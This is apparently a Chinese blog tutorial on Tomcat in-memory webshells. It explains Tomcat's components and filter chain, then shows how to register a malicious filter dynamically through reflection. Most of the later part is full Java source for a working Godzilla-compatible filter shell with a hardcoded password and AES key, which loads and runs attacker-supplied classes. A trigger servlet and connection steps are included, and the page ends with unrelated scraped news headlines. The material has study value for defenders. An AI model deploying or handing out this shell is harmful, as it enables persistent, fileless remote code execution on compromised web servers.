0x01 内存马介绍 内存马,通过中间件特性注册为其组件的无文件webshell,其核心思路是访问路径映射和相关代码的动态注册。在tomcat中内存马主要有以下几种类型:
1. servlet内存马
2. filter内存马
3. valve内存马
4. listener内存马
上述类型的内存马在tomcat7(支持servlet api 3.0)以后可以通过动态注册方式向中间件注入,也因其可以动态注册的特点所以可以在反序列化等可任意执行代码的漏洞点进行利用。
0x02 tomcat基础 tomcat基本组件和关系 tomcat结构在server.xml中的体现 tomcat是一种web应用服务器,一个servlet/jsp容器,tomcat将以下几种组件作为基本构成:
1. server:tomcat实例中的顶级容器组件,由一个或多个service组成。
2. service:connector和container的集合,负责数据接收、处理和返回,由一个container和一个(可以多个)connector组成。
3. connector:连接器,顾名思义作为外部数据到container的连接管道,封装了底层通信协议处理方法,其作用是监听某一端口随时接收客户端连接请求,当请求到达时根据协议不同做分类处理后交由container并将container的返回结果做封装返回给客户端。
4. container:封装和管理servlet的容器,接收connector传入数据做具体逻辑处理后将结果返回到connector。
connector基本结构:connector由多个protocolhandler(协议处理器)、adapter(适配器)和mapper(路由导航组件)组成,每个protocolhandler又由endpoint、processor组成。
1. endpoint:通常与connector相关联,用来处理底层socket的网络连接。
1. acceptor:连接接收器,用于接收客户端的连接请求并分配给对应的处理器进行处理。
2. executor:线程池,用于任务处理。
2. processor:processor用于将endpoint接收到的socket封装成request。
3. mapper:客户端请求的路由导航组件,通过它能对一个完整的请求地址进行路由,通俗地说,就是它能通过请求地址找到对应的servlet。
4. adapter:adapter用于将request/response进一步封装为servletrequest/servletresponse对象交给具体某个engine进行具体的处理/返回给客户端。
在tomcat中container是一个抽象概念,用来表示一组组件的集合。container由四个子容器组成,分别是engine、host、context、wrapper组成,它们之间是负责关系,存在包含关系。
1. engine:引擎,用于管理多个虚拟主机(host)的请求处理。
2. host:虚拟主机,用于管理多个web应用程序(context)的请求处理。
3. context:web 应用程序,是 tomcat 中的最小部署单元,包含多个 servlet 和 jsp 文件以及其他 web 资源。
4. wrapper:是servlet 的容器,包含一个servlet和多个filter,用于将 servlet 映射到对应的 context 上。
tomcat的责任链设计模式:责任链模式是一种行为型设计模式,它允许将请求沿着处理链传递,直到有一个处理者能够处理请求为止。每个处理者都只关心自己能否处理请求,并且只有在需要时才将请求转发给下一个处理者。在 tomcat 中,责任链设计模式用于处理请求和响应,通过将请求和响应传递给一系列的组件,最终生成响应并返回给客户端。这种设计模式被广泛应用于 tomcat 中的各个组件,例如 servlet 过滤器、pipeline&valve 等。
tomcat中的管道-阀门模式:tomcat的管道-阀门模式可以看作是责任链模式的一种实现。在tomcat中,请求从connector进入,经过多个阀门(valve)处理,最终到达servlet容器(engine/host/context/wrapper),完成请求处理。每个阀门都可以对请求进行处理,也可以选择放行,将请求传递给下一个阀门进行处理,这就是典型的责任链模式的实现。但是,tomcat的管道-阀门模式在责任链模式的基础上,增加了对阀门的排序和管理,以及对请求和响应的处理。
tomcat请求处理流程 如本文中第一张图片所示,tomcat中请求处理的过程可以简单分为以下六步:
1. 用户发送请求:用户通过浏览器或其他客户端向tomcat发送http请求,请求特定的资源(例如,一个html页面、一个servlet或一个jsp页面)。
2. 连接器接受请求:tomcat中的连接器(connector)接受客户端的请求,connector是tomcat中用于处理与客户端的连接和通信的组件。connector负责在tomcat和客户端之间建立网络连接,并处理http请求和响应。
3. 协议处理器处理请求:接下来,tomcat将接受的请求传递给适当的协议处理器(protocol handler)。protocol handler根据请求的协议类型进行选择,例如http或https。
4. 请求在容器中处理:一旦协议处理器选择了正确的请求处理器(request processor),它将请求传递给容器(container)进行处理。在tomcat中,容器是一个组件层次结构,用于处理web应用程序和servlet。容器包括engine、host、context和wrapper。请求将从engine开始,通过host和context,最终到达wrapper。wrapper是最终处理请求的组件,它会执行与请求相关联的servlet。
5. servlet处理请求:servlet根据请求的类型进行处理,并生成相应的响应。servlet可以从请求中获取参数、执行业务逻辑,然后生成html或其他响应内容。
6. 响应返回给容器:servlet将响应返回给容器,容器将响应传递给适当的容器层次结构组件(wrapper、context、host和engine)。
7. 响应返回给协议处理器:响应最终被传递回协议处理器,然后通过连接器返回给客户端。
0x03 tomcat_filter内存马 tomcat_filter组件 filter是wrapper的组件,即拦截器,如上图所示其主要负责在请求到达servlet之前/servlet处理之后对request/response进行判断、修饰等操作。filter的注册有三种常见方式,web.xml配置中配置注册、注解方式注册和动态注册,通常使用前两种方式进行注册。 其组成部分如web.xml中的定义所示:
myfilter com.zzservlet.myfilter myfilter /hello1.filter-name:filter的名称2.filter-class:filter的实现类类名3.filter-mapping:filtermap中的内容,包含filter-name和url-pattern,其中url-pattern是当前拦截器执行的url路径。 注册流程分析 注册过程演示 1.自定义filter,实现filter接口的三个基础方法。
1.init(filterconfig config):初始化自定义filter,config参数为自定义filter的配置2.dofilter(servletrequest request, servletresponse response, filterchain chain):自定义filter的逻辑处理部分,filterchain-->拦截器责任链,存储当前web应用所有的filter3.destroy():销毁 2.在web.xml配置文件中注册定义filter。
myfilter com.zzservlet.myfilter myfilter /hello 3.访问指定的url,判定自定义的filter是否被执行。
代码流程分析 在分析之前先了解几个常用对象的定义:
filterconfig:存储filter配置的对象,由context(当前应用上下文)、filterdef和filter实例组成filterdef:存储filter定义的对象,由filterclassname和filtername组成。filtermap:存储filtername和filter urlpattern。filterdefs:存储filterdef的hashmapfiltermaps:存储filtermap的hashmapfilterconfigs:存储filterconfig的hashmap 初始化 tomcat中filter的初始化过程主要分为三个步骤:配置解析、filter对象的实例化、以及调用filter的初始化方法。 配置解析 在tomcat启动过程中,会解析web应用的配置文件(如web.xml),找到所有配置的filter。通过解析配置文件,tomcat将filter的全类名以及filter的参数信息存储在一个filterdef对象中,用于后续的实例化和初始化。 filter对象的实例化 在web应用启动时,tomcat会对所有配置的filter进行实例化。在实例化过程中,tomcat通过反射机制创建filter的实例对象,并调用filter的默认构造函数进行初始化。此时filter的成员变量均未初始化,仅具有默认值。 调用filter的初始化方法 实例化后,tomcat会调用filter的初始化方法init(filterconfig config)进行初始化。在初始化方法中,filter可以读取配置文件中的参数,以及获得servletcontext对象,进行一些必要的初始化操作。在这一过程中,filterconfig对象被创建,并传递给init方法。filterconfig对象包含了filter的配置信息和servletcontext对象。
applicationfilterconfig实例在standardcontext#filterstart方法中生成,此方法遍历filterdefs,当filtername不为空时生成其filterconfig并放入filterconfigs中。filterdefs是filterdef组成的hashmap,filterdef是存放filtername和filterclass名称的对象。
public boolean filterstart() { if (getlogger().isdebugenabled()) getlogger().debug(starting filters); // instantiate and record a filterconfig for each defined filter boolean ok = true; synchronized (filterconfigs) { filterconfigs.clear(); iterator names = filterdefs.keyset().iterator(); while (names.hasnext()) { string name = names.next(); if (getlogger().isdebugenabled()) getlogger().debug( starting filter ' + name + '); applicationfilterconfig filterconfig = null; try { filterconfig = new applicationfilterconfig(this, filterdefs.get(name)); filterconfigs.put(name, filterconfig); } catch (throwable t) { exceptionutils.handlethrowable(t); getlogger().error (sm.getstring(standardcontext.filterstart, name), t); ok = false; } } } return (ok); } 自定义的filter执行init方法时传入filterconfig,filterconfig内保存有以下几个部分:filter,当前filter实例对象;filterdef,当前filter名称与类名;context,当前web应用程序上下文。
执行阶段 filterchain在standardwrappervalve#invoke方法中调用applicationfilterfactory#createfilter方法生成。
首先创建初始化一个空的filterchain--->获取当前应用程序的拦截器映射filtermap filtermaps[] = context.findfiltermaps();,filtermap中存放着当前context中filter的urlpattern和filtername。-->遍历filtermaps,当前请求url与filtermap中的urlpattern匹配时通过context获取filterconfig对象applicationfilterconfig filterconfig = (applicationfilterconfig)context.findfilterconfig(filtermaps[i].getfiltername());并添加至filterchain中filterchain.addfilter(filterconfig);
public applicationfilterchain createfilterchain (servletrequest request, wrapper wrapper, servlet servlet) { // get the dispatcher type dispatchertype dispatcher = null; if (request.getattribute(dispatcher_type_attr) != null) { dispatcher = (dispatchertype) request.getattribute(dispatcher_type_attr); } string requestpath = null; object attribute = request.getattribute(dispatcher_request_path_attr); if (attribute != null){ requestpath = attribute.tostring(); } // if there is no servlet to execute, return null if (servlet == null) return (null); boolean comet = false; // create and initialize a filter chain object applicationfilterchain filterchain = null; if (request instanceof request) { request req = (request) request; comet = req.iscomet(); if (globals.is_security_enabled) { // security: do not recycle filterchain = new applicationfilterchain(); if (comet) { req.setfilterchain(filterchain); } } else { filterchain = (applicationfilterchain) req.getfilterchain(); if (filterchain == null) { filterchain = new applicationfilterchain(); req.setfilterchain(filterchain); } } } else { // request dispatcher in use filterchain = new applicationfilterchain(); } filterchain.setservlet(servlet); filterchain.setsupport (((standardwrapper)wrapper).getinstancesupport()); // acquire the filter mappings for this context standardcontext context = (standardcontext) wrapper.getparent(); filtermap filtermaps[] = context.findfiltermaps(); // if there are no filter mappings, we are done if ((filtermaps == null) || (filtermaps.length == 0)) return (filterchain); // acquire the information we will need to match filter mappings string servletname = wrapper.getname(); // add the relevant path-mapped filters to this filter chain for (int i = 0; i < filtermaps.length; i++) { //判断是否适配当前dispatcher if (!matchdispatcher(filtermaps[i] ,dispatcher)) { continue; } //判断是否适配当前请求url if (!matchfiltersurl(filtermaps[i], requestpath)) continue; //获取适配后的filterconfig实例 applicationfilterconfig filterconfig = (applicationfilterconfig) context.findfilterconfig(filtermaps[i].getfiltername()); if (filterconfig == null) { // fixme - log configuration problem continue; } boolean iscometfilter = false; if (comet) { try { iscometfilter = filterconfig.getfilter() instanceof cometfilter; } catch (exception e) { // note: the try catch is there because getfilter has a lot of // declared exceptions. however, the filter is allocated much // earlier } if (iscometfilter) { filterchain.addfilter(filterconfig); } } else { //添加至filterchain中 filterchain.addfilter(filterconfig); } } // add filters that match on servlet name second for (int i = 0; i < filtermaps.length; i++) { if (!matchdispatcher(filtermaps[i] ,dispatcher)) { continue; } if (!matchfiltersservlet(filtermaps[i], servletname)) continue; applicationfilterconfig filterconfig = (applicationfilterconfig) context.findfilterconfig(filtermaps[i].getfiltername()); if (filterconfig == null) { // fixme - log configuration problem continue; } boolean iscometfilter = false; if (comet) { try { iscometfilter = filterconfig.getfilter() instanceof cometfilter; } catch (exception e) { // note: the try catch is there because getfilter has a lot of // declared exceptions. however, the filter is allocated much // earlier } if (iscometfilter) { filterchain.addfilter(filterconfig); } } else { filterchain.addfilter(filterconfig); } } // return the completed filter chain return (filterchain); } 向filterchain中添加filterconfigfilterchain.addfilter(filterconfig),遍历filters是否存在要传入的filterconfig防止重复添加,当filters.length为0时新建长度为10的filters并添加传入的filterconfig
void addfilter(applicationfilterconfig filterconfig) { // prevent the same filter being added multiple times for(applicationfilterconfig filter:filters) if(filter==filterconfig) return; if (n == filters.length) { applicationfilterconfig[] newfilters = new applicationfilterconfig[n + increment]; system.arraycopy(filters, 0, newfilters, 0, n); filters = newfilters; } filters[n++] = filterconfig; } 至此filterchain封装完成,返回到standardwrappervalve#invoke方法中执行filterchain.dofilter(request.getrequest(), response.getresponse());进入当前拦截器责任链的执行阶段。
public void dofilter(servletrequest request, servletresponse response) throws ioexception, servletexception { if( globals.is_security_enabled ) { final servletrequest req = request; final servletresponse res = response; try { java.security.accesscontroller.doprivileged( new java.security.privilegedexceptionaction() { @override public void run() throws servletexception, ioexception { internaldofilter(req,res); return null; } } ); } catch( privilegedactionexception pe) { exception e = pe.getexception(); if (e instanceof servletexception) throw (servletexception) e; else if (e instanceof ioexception) throw (ioexception) e; else if (e instanceof runtimeexception) throw (runtimeexception) e; else throw new servletexception(e.getmessage(), e); } } else { internaldofilter(request,response); } } 在dofilter方法中会applicationfilterchain#internaldofilter,通过filterconfig.getfilter()获取filter实例后依次调用filterchain中filter的dofilter方法完成执行。
整个的执行过程总结如下:
1. standardwrappervalve#invoke中调用applicationfilterfactory#createfilterchain方法,在createfilterchain中从当前context中取到filtermaps,遍历filtermaps根据适配情况从filtermap中取到filtername再据此filtername从context中取到对应的filterconfig。
2. applicationfilterfactory#createfilterchain中调用applicationfilterchain#addfilter,在addfilter方法中将传入的filterconfig装入filterchain。
3. 完成filterchain的封装后执行其dofilter方法,依次执行其中每个filter对象的dofilter方法。
动态注册tomcat_filter 实现逻辑 流程分析前要用的那几个对象存储在standardcontext对象中。
在tomcat中,servletcontext是整个web应用程序的基础接口,代表当前web应用程序的上下文环境,提供访问web应用程序配置信息和资源的方法。applicationcontext是servletcontext的实现类,用于管理整个web应用程序的生命周期和资源。而standardcontext则是applicationcontext的具体实现类之一,用于表示一个web应用程序的标准上下文实现。因此,它们三者之间是一种包含关系,即standardcontext是applicationcontext的子类,applicationcontext是servletcontext的子类。 根据其关系可通过如下方式获取standardcontext对象。
servletcontext servletcontext = req.getservletcontext();field f = servletcontext.getclass().getdeclaredfield(context);f.setaccessible(true);applicationcontext applicationcontext = (applicationcontext) f.get(servletcontext);f = applicationcontext.getclass().getdeclaredfield(context);f.setaccessible(true);standardcontext standardcontext = (standardcontext) f.get(applicationcontext); 创建一个要注入的恶意类
filter evalfiler = new filter() { @override public void init(filterconfig filterconfig) throws servletexception { system.out.println(evalfilter init~); } @override public void dofilter(servletrequest request, servletresponse response, filterchain chain) throws ioexception, servletexception { system.out.println(evalfilter dofilter~); response.getwriter().println(inject success!); chain.dofilter(request,response); } @override public void destroy() { } };string name = hasaki; 首先初始化过程在filterstart方法中filterconfig = new applicationfilterconfig(this, filterdefs.get(name));动态创建时并不会调用filterstart方法但与其构造对应的filterconfig对象原理一样,使用创建其filterconfig对象用到了filterdefs那么应该首先创建恶意filter的filterdef并添加至当前应用的filterdefs中
filterdef filterdef = new filterdef();filterdef.setfilter(evalfilter);filterdef.setfiltername(name)filterdef.serfilterclassname(evalfilter.getclass().getname());//通过standardcontext中的addfilterdef方法将其加入filtedefs中standardcontext.addfilterdef(filterdef); 创建其filterconfig实例并加入当前应用的filterconfigs中
//创建filterconfig实例并加入到filterconfigs中//由于applicationfilter构造方法是protected非public只能通过反射进行创建constructor[] constructors = applicationfilterconfig.class.getdeclaredconstructors();constructors[0].setaccessible(true);applicationfilterconfig filterconfig = (applicationfilterconfig) constructors[0].newinstance(new object[]{standardcontext, filterdef});f = standardcontext.getclass().getdeclaredfield(filterconfigs);f.setaccessible(true);hashmap filterconfigs = (hashmap) f.get(standardcontext);filterconfigs.put(name, filterconfig); 根据filterchain实例的创建过程需要把filtermap定义出来并加入filtermaps
//创建filtermap实例并加入到filtermaps中filtermap filtermap = new filtermap();filtermap.addurlpattern(*);filtermap.setfiltername(name);filtermap.setdispatcher(dispatchertype.request.name());//通过standardcontext的addfiltermapbefore方法将filtermap加入到filtermaps中的第一个位置standardcontext.addfiltermapbefore(filtermap); 至此在tomcat中动态注册自定义filter就完成了,完整代码如下:
package com.zzservlet;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.applicationfilterconfig;import org.apache.catalina.core.standardcontext;import org.apache.catalina.deploy.filterdef;import org.apache.catalina.deploy.filtermap;import org.apache.catalina.context;import javax.servlet.*;import javax.servlet.http.httpservlet;import javax.servlet.http.httpservletrequest;import javax.servlet.http.httpservletresponse;import java.io.ioexception;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.lang.reflect.method;import java.util.hashmap;public class helloworld extends httpservlet { @override protected void doget(httpservletrequest req, httpservletresponse resp) throws servletexception, ioexception { //创建恶意拦截器 filter evalfiler = new filter() { @override public void init(filterconfig filterconfig) throws servletexception { system.out.println(evalfilter init~); } @override public void dofilter(servletrequest request, servletresponse response, filterchain chain) throws ioexception, servletexception { system.out.println(evalfilter dofilter~); response.getwriter().println(inject success!); chain.dofilter(request,response); } @override public void destroy() { } }; try{ string name = hasaki; servletcontext servletcontext = req.getservletcontext(); //判断拦截器是否已经注册过了 if (servletcontext.getfilterregistration(name) == null) { field f = servletcontext.getclass().getdeclaredfield(context); f.setaccessible(true); applicationcontext applicationcontext = (applicationcontext) f.get(servletcontext); f = applicationcontext.getclass().getdeclaredfield(context); f.setaccessible(true); standardcontext standardcontext = (standardcontext) f.get(applicationcontext); //创建filterdef实例并加入到filterdefs中 filterdef filterdef = new filterdef(); filterdef.setfilter(evalfiler); filterdef.setfiltername(name); filterdef.setfilterclass(evalfiler.getclass().getname()); standardcontext.addfilterdef(filterdef); //创建filterconfig实例并加入到filterconfigs中 constructor[] constructors = applicationfilterconfig.class.getdeclaredconstructors(); constructors[0].setaccessible(true); applicationfilterconfig filterconfig = (applicationfilterconfig) constructors[0].newinstance(new object[]{standardcontext, filterdef}); f = standardcontext.getclass().getdeclaredfield(filterconfigs); f.setaccessible(true); hashmap filterconfigs = (hashmap) f.get(standardcontext); filterconfigs.put(name, filterconfig); //创建filtermap实例并加入到filtermaps中 filtermap filtermap = new filtermap(); filtermap.addurlpattern(*); filtermap.setfiltername(name); filtermap.setdispatcher(dispatchertype.request.name()); standardcontext.addfiltermapbefore(filtermap); } }catch (exception e){e.printstacktrace();} }} 访问http://localhost:8080/hello后访问http://localhost:8080/出现自定义filter中dofilter方法中执行的打印内容。
实现一个godzilla内存马 代码中/hello2可替换成任意存在的url路径或者设置*。
package com.utils;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.applicationfilterconfig;import org.apache.catalina.core.standardcontext;import org.apache.catalina.deploy.filterdef;import org.apache.catalina.deploy.filtermap;import javax.crypto.cipher;import javax.crypto.spec.secretkeyspec;import javax.servlet.*;import javax.servlet.http.httpservletrequest;import javax.servlet.http.httpservletresponse;import javax.servlet.http.httpsession;import java.io.bytearrayoutputstream;import java.io.ioexception;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.math.biginteger;import java.security.messagedigest;import java.util.hashmap;public class mygodzillafiltershell extends classloader implements filter { private servletcontext servletcontext; string pwd = pass; string xc = 3c6e0b8a9c15224a; string md5 = md5(this.pwd + this.xc); public httpservletrequest request = null; public httpservletresponse response = null; public string cs = utf-8; public mygodzillafiltershell(){} public mygodzillafiltershell(classloader z){super(z);} public class q(byte[] cb) { return defineclass(cb, 0, cb.length); } public standardcontext getstandardcontext(){ standardcontext standardcontext = null; this.servletcontext = request.getservletcontext(); try { field f = this.servletcontext.getclass().getdeclaredfield(context); f.setaccessible(true); applicationcontext applicationcontext = (applicationcontext) f.get(this.servletcontext); f = applicationcontext.getclass().getdeclaredfield(context); f.setaccessible(true); standardcontext = (standardcontext) f.get(applicationcontext); }catch (exception e){} return standardcontext; } public string addfiter() { //通过request对象回去standardcontext实例对象 standardcontext standardcontext = getstandardcontext(); string filtername = aatrox; string res = null; //判断filtername是否已被注册过 if (request.getservletcontext().getfilterregistration(filtername) == null){ //注册过程 try { filterdef filterdef = new filterdef(); filterdef.setfilterclass(this.getclass().getname()); filterdef.setfilter(this); filterdef.setfiltername(filtername); standardcontext.addfilterdef(filterdef); constructor[] constructors = applicationfilterconfig.class.getdeclaredconstructors(); constructors[0].setaccessible(true); applicationfilterconfig filterconfig = (applicationfilterconfig) constructors[0].newinstance(new object[]{standardcontext,filterdef}); field f = standardcontext.getclass().getdeclaredfield(filterconfigs); f.setaccessible(true); hashmap filterconfigs = (hashmap) f.get(standardcontext); filterconfigs.put(filtername,filterconfig); filtermap filtermap = new filtermap(); filtermap.addurlpattern(/hello2); filtermap.setfiltername(filtername); filtermap.setdispatcher(dispatchertype.request.name()); standardcontext.addfiltermapbefore(filtermap); res = success!; } catch (exception e) { res = error!; } }else { res = filter already existed!; } return res; } public static string md5(string s) { string ret = null; try { messagedigest m = messagedigest.getinstance(md5); m.update(s.getbytes(), 0, s.length()); ret = (new biginteger(1, m.digest())).tostring(16).touppercase(); } catch (exception exception) {} return ret; } public static byte[] base64decode(string bs) throws exception { byte[] value = null; try { class base64 = class.forname(java.util.base64); object decoder = base64.getmethod(getdecoder, null).invoke(base64, (object[])null); value = (byte[])decoder.getclass().getmethod(decode, new class[] { string.class }).invoke(decoder, new object[] { bs }); } catch (exception e) { try { class base64 = class.forname(sun.misc.base64decoder); object decoder = base64.newinstance(); value = (byte[])decoder.getclass().getmethod(decodebuffer, new class[] { string.class }).invoke(decoder, new object[] { bs }); } catch (exception exception) {} } return value; } public static string base64encode(byte[] bs) throws exception { string value = null; try { class base64 = class.forname(java.util.base64); object encoder = base64.getmethod(getencoder, null).invoke(base64, (object[])null); value = (string)encoder.getclass().getmethod(encodetostring, new class[] { byte[].class }).invoke(encoder, new object[] { bs }); } catch (exception e) { try { class base64 = class.forname(sun.misc.base64encoder); object encoder = base64.newinstance(); value = (string)encoder.getclass().getmethod(encode, new class[] { byte[].class }).invoke(encoder, new object[] { bs }); } catch (exception exception) {} } return value; } public byte[] x(byte[] s, boolean m) { try { cipher c = cipher.getinstance(aes); c.init(m ? 1 : 2, new secretkeyspec(this.xc.getbytes(), aes)); return c.dofinal(s); } catch (exception e) { return null; } } public boolean equals(object obj) { parseobj(obj); stringbuffer output = new stringbuffer(); try { this.response.setcontenttype(text/html); this.request.setcharacterencoding(this.cs); this.response.setcharacterencoding(this.cs); output.append(addfiter()); } catch (exception e) { output.append(error: + e.tostring()); } try { this.response.getwriter().print(output.tostring()); this.response.getwriter().flush(); this.response.getwriter().close(); } catch (exception exception) {} return true; } //解析参数,传入的值必须是对象数组 public void parseobj(object obj) { object[] data = (object[])obj; this.request = (httpservletrequest)data[0]; this.response = (httpservletresponse)data[1]; } @override public void init(filterconfig filterconfig) throws servletexception { } @override public void dofilter(servletrequest req, servletresponse resp, filterchain chain) throws ioexception, servletexception { //webshell实现部分,负责实现接收/返回数据解析、加解密等 try { httpservletrequest request = (httpservletrequest)req; httpservletresponse response = (httpservletresponse)resp; httpsession session = request.getsession(); byte[] data = base64decode(req.getparameter(this.pwd)); data = x(data, false); if (session.getattribute(payload) == null) { session.setattribute(payload, (new mygodzillafiltershell(getclass().getclassloader())).q(data)); } else { request.setattribute(parameters, data); bytearrayoutputstream arrout = new bytearrayoutputstream(); object f = ((class)session.getattribute(payload)).newinstance(); f.equals(arrout); f.equals(data); response.getwriter().write(this.md5.substring(0, 16)); f.tostring(); response.getwriter().write(base64encode(x(arrout.tobytearray(), true))); response.getwriter().write(this.md5.substring(16)); } } catch (exception exception) {} //chain.dofilter(req,resp); } @override public void destroy() { }} 在之前编写的hello这个servlet中尝试触发,这是在已知request对象的场景下,在未知场景下可结合前面反序列化回显进行利用。
package com.zzservlet;import com.utils.mygodzillafiltershell;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.applicationfilterconfig;import org.apache.catalina.core.standardcontext;import org.apache.catalina.deploy.filterdef;import org.apache.catalina.deploy.filtermap;import org.apache.catalina.context;import javax.servlet.*;import javax.servlet.http.httpservlet;import javax.servlet.http.httpservletrequest;import javax.servlet.http.httpservletresponse;import java.io.ioexception;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.lang.reflect.method;import java.util.hashmap;public class helloworld extends httpservlet { @override protected void doget(httpservletrequest req, httpservletresponse resp) throws servletexception, ioexception { filter evalfilter = new mygodzillafiltershell(); evalfilter.equals(new object[]{req,resp}); }} 访问http://localhost:8080/hello
使用godzilla连接http://localhost:8080/hello2
0x04 参考链接 https://github.com/j1anfen/shiro_attack https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#de7894b8
应用于牙齿的微型贴片传感器 可自动检测进食状况
相干信号的DoA估计有哪些解决方法?主流解相干算法分类
Palma Ceia SemiDesign宣布推出新一代Wi-Fi HaLow芯片,PCS2100和PCS2500
国庆特辑|忆联SSD通过极端压力中子实验,为数字中国建设提质增速
Bourns新型环境压力传感器提供了全面校准和补偿的数据输出
Tomcat基本组件和关系
索尼PS机器人工厂深度解密
IC设计利润高达80% 那么是怎么分的呢?
数显实验电源的制作
消防电源模块商品的稳定性测试都包含哪些内容
8英寸晶圆的产能为什么这么紧张?
人形机器人产业链梳理 或带动上游核心零部件发展
苹果三款新iPhone或都将搭载A12芯片 国行版还将发布双卡版
如何对待时序问题
努比亚z17什么时候上市?努比亚z17最新消息:努比亚Z17今晚发布,国产旗舰首款防水、双摄 配置全曝光!
货币数字化的全球竞争谁是王
AI+安防加速融合 未来我国安防行业总收入将突破8000亿
PLD设计速成(8)-下载验证
国际清算银行称目前全球至少有17个国家在探索使用央行的数字货币
运放做跟随器应用时的三点注意事项